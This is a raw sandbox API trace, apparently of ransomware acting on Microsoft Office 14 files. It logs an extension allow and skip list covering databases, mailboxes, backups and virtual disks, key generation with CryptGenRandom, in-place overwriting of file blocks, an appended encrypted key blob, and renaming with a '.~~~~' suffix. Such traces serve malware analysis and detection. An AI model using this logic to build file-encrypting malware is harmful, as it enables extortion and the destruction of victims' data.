	[0079.484] lstrlenW (lpString=".NDF") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".NDF") returned 0x0
	[0079.484] lstrlenW (lpString=".dat") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dat") returned 0x0
	[0079.484] lstrlenW (lpString=".DBS") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DBS") returned 0x0
	[0079.484] lstrlenW (lpString=".CKP") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".CKP") returned 0x0
	[0079.484] lstrlenW (lpString=".edb") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".edb") returned 0x0
	[0079.484] lstrlenW (lpString=".PST") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".PST") returned 0x0
	[0079.484] lstrlenW (lpString=".dbf") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dbf") returned 0x0
	[0079.484] lstrlenW (lpString=".SQL") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".SQL") returned 0x0
	[0079.484] lstrlenW (lpString=".pst") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".pst") returned 0x0
	[0079.484] lstrlenW (lpString=".dbv") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dbv") returned 0x0
	[0079.484] lstrlenW (lpString=".SDF") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".SDF") returned 0x0
	[0079.484] lstrlenW (lpString=".dtxs") returned 5
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dtxs") returned 0x0
	[0079.485] lstrlenW (lpString=".db3") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".db3") returned 0x0
	[0079.485] lstrlenW (lpString=".OST") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".OST") returned 0x0
	[0079.485] lstrlenW (lpString=".dbx") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dbx") returned 0x0
	[0079.485] lstrlenW (lpString=".DB3") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DB3") returned 0x0
	[0079.485] lstrlenW (lpString=".DAT") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DAT") returned 0x0
	[0079.485] lstrlenW (lpString=".VHDX") returned 5
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".VHDX") returned 0x0
	[0079.485] lstrlenW (lpString=".ndf") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".ndf") returned 0x0
	[0079.485] lstrlenW (lpString=".DB") returned 3
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DB") returned 0x0
	[0079.485] lstrlenW (lpString=".sql") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".sql") returned 0x0
	[0079.485] lstrlenW (lpString=".MYD") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".MYD") returned 0x0
	[0079.485] lstrlenW (lpString=".DBT") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DBT") returned 0x0
	[0079.485] lstrlenW (lpString=".ACCDB") returned 6
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.485] lstrlenW (lpString=".fdb") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".fdb") returned 0x0
	[0079.485] lstrlenW (lpString=".bak") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".bak") returned 0x0
	[0079.485] lstrlenW (lpString=".myd") returned 4
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".myd") returned 0x0
	[0079.485] lstrlenW (lpString=".DTXS") returned 5
	[0079.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DTXS") returned 0x0
	[0079.485] lstrlenW (lpString=".ckp") returned 4
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".ckp") returned 0x0
	[0079.486] lstrlenW (lpString=".dbt") returned 4
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dbt") returned 0x0
	[0079.486] lstrlenW (lpString=".db") returned 3
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".db") returned 0x0
	[0079.486] lstrlenW (lpString=".TXT") returned 4
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".TXT") returned 0x0
	[0079.486] lstrlenW (lpString=".MDF") returned 4
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".MDF") returned 0x0
	[0079.486] lstrlenW (lpString=".bdb") returned 4
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".bdb") returned 0x0
	[0079.486] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0079.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0079.486] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39feb0) returned 1
	[0079.499] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0079.499] CryptReleaseContext (hProv=0x39feb0, dwFlags=0x0) returned 1
	[0079.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0079.499] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19948908581) returned 1
	[0079.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x993edd50, dwHighDateTime=0x1d60e1e)) 
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9c90
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c90 | out: hHeap=0x300000) returned 1
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0079.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.500] GetLastError () returned 0x0
	[0079.500] GetLastError () returned 0x0
	[0079.500] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.500] GetLastError () returned 0x0
	[0079.500] GetLastError () returned 0x0
	[0079.501] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.551] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.551] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.553] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.553] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.603] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.603] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.603] CloseHandle (hObject=0x128) returned 1
	[0079.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.~~~~")) returned 1
	[0079.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0079.880] GetLastError () returned 0x0
	[0079.881] RtlWakeConditionVariable () returned 0x365f70
	[0079.881] GetCurrentThreadId () returned 0x9f4
	[0079.881] GetCurrentThreadId () returned 0x9f4
	[0079.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0079.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb960 | out: hHeap=0x300000) returned 1
	[0079.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b970 | out: hHeap=0x300000) returned 1
	[0079.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0079.881] lstrlenW (lpString=".scr") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".scr") returned 0x0
	[0079.881] lstrlenW (lpString=".cmd") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".cmd") returned 0x0
	[0079.881] lstrlenW (lpString=".dll") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dll") returned 0x0
	[0079.881] lstrlenW (lpString=".bat") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".bat") returned 0x0
	[0079.881] lstrlenW (lpString=".cpl") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".cpl") returned 0x0
	[0079.881] lstrlenW (lpString=".sys") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".sys") returned 0x0
	[0079.881] lstrlenW (lpString=".msc") returned 4
	[0079.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".msc") returned 0x0
	[0079.882] lstrlenW (lpString=".com") returned 4
	[0079.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".com") returned 0x0
	[0079.882] lstrlenW (lpString=".lnk") returned 4
	[0079.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".lnk") returned 0x0
	[0079.882] lstrlenW (lpString=".msp") returned 4
	[0079.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".msp") returned 0x0
	[0079.882] lstrlenW (lpString=".pif") returned 4
	[0079.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".pif") returned 0x0
	[0079.882] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0079.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0079.883] lstrlenW (lpString=".sqb") returned 4
	[0079.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".sqb") returned 0x0
	[0079.883] lstrlenW (lpString=".ost") returned 4
	[0079.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".ost") returned 0x0
	[0079.883] lstrlenW (lpString=".txt") returned 4
	[0079.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".txt") returned 0x0
	[0079.884] lstrlenW (lpString=".mdt") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".mdt") returned 0x0
	[0079.884] lstrlenW (lpString=".BDB") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".BDB") returned 0x0
	[0079.884] lstrlenW (lpString=".eql") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".eql") returned 0x0
	[0079.884] lstrlenW (lpString=".DBF") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DBF") returned 0x0
	[0079.884] lstrlenW (lpString=".EQL") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".EQL") returned 0x0
	[0079.884] lstrlenW (lpString=".FDB") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".FDB") returned 0x0
	[0079.884] lstrlenW (lpString=".EDB") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".EDB") returned 0x0
	[0079.884] lstrlenW (lpString=".DACPAC") returned 7
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DACPAC") returned 0x0
	[0079.884] lstrlenW (lpString=".VHD") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".VHD") returned 0x0
	[0079.884] lstrlenW (lpString=".DBV") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DBV") returned 0x0
	[0079.884] lstrlenW (lpString=".dacpac") returned 7
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dacpac") returned 0x0
	[0079.884] lstrlenW (lpString=".sdf") returned 4
	[0079.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".sdf") returned 0x0
	[0079.884] lstrlenW (lpString=".accdb") returned 6
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".accdb") returned 0x0
	[0079.885] lstrlenW (lpString=".DBX") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DBX") returned 0x0
	[0079.885] lstrlenW (lpString=".MDT") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".MDT") returned 0x0
	[0079.885] lstrlenW (lpString=".SQB") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".SQB") returned 0x0
	[0079.885] lstrlenW (lpString=".vhd") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".vhd") returned 0x0
	[0079.885] lstrlenW (lpString=".bac") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".bac") returned 0x0
	[0079.885] lstrlenW (lpString=".mdf") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".mdf") returned 0x0
	[0079.885] lstrlenW (lpString=".BAK") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".BAK") returned 0x0
	[0079.885] lstrlenW (lpString=".BAC") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".BAC") returned 0x0
	[0079.885] lstrlenW (lpString=".dbs") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dbs") returned 0x0
	[0079.885] lstrlenW (lpString=".vhdx") returned 5
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".vhdx") returned 0x0
	[0079.885] lstrlenW (lpString=".NDF") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".NDF") returned 0x0
	[0079.885] lstrlenW (lpString=".dat") returned 4
	[0079.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dat") returned 0x0
	[0079.885] lstrlenW (lpString=".DBS") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DBS") returned 0x0
	[0079.886] lstrlenW (lpString=".CKP") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".CKP") returned 0x0
	[0079.886] lstrlenW (lpString=".edb") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".edb") returned 0x0
	[0079.886] lstrlenW (lpString=".PST") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".PST") returned 0x0
	[0079.886] lstrlenW (lpString=".dbf") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dbf") returned 0x0
	[0079.886] lstrlenW (lpString=".SQL") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".SQL") returned 0x0
	[0079.886] lstrlenW (lpString=".pst") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".pst") returned 0x0
	[0079.886] lstrlenW (lpString=".dbv") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dbv") returned 0x0
	[0079.886] lstrlenW (lpString=".SDF") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".SDF") returned 0x0
	[0079.886] lstrlenW (lpString=".dtxs") returned 5
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dtxs") returned 0x0
	[0079.886] lstrlenW (lpString=".db3") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".db3") returned 0x0
	[0079.886] lstrlenW (lpString=".OST") returned 4
	[0079.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".OST") returned 0x0
	[0079.886] lstrlenW (lpString=".dbx") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dbx") returned 0x0
	[0079.887] lstrlenW (lpString=".DB3") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DB3") returned 0x0
	[0079.887] lstrlenW (lpString=".DAT") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DAT") returned 0x0
	[0079.887] lstrlenW (lpString=".VHDX") returned 5
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".VHDX") returned 0x0
	[0079.887] lstrlenW (lpString=".ndf") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".ndf") returned 0x0
	[0079.887] lstrlenW (lpString=".DB") returned 3
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DB") returned 0x0
	[0079.887] lstrlenW (lpString=".sql") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".sql") returned 0x0
	[0079.887] lstrlenW (lpString=".MYD") returned 4
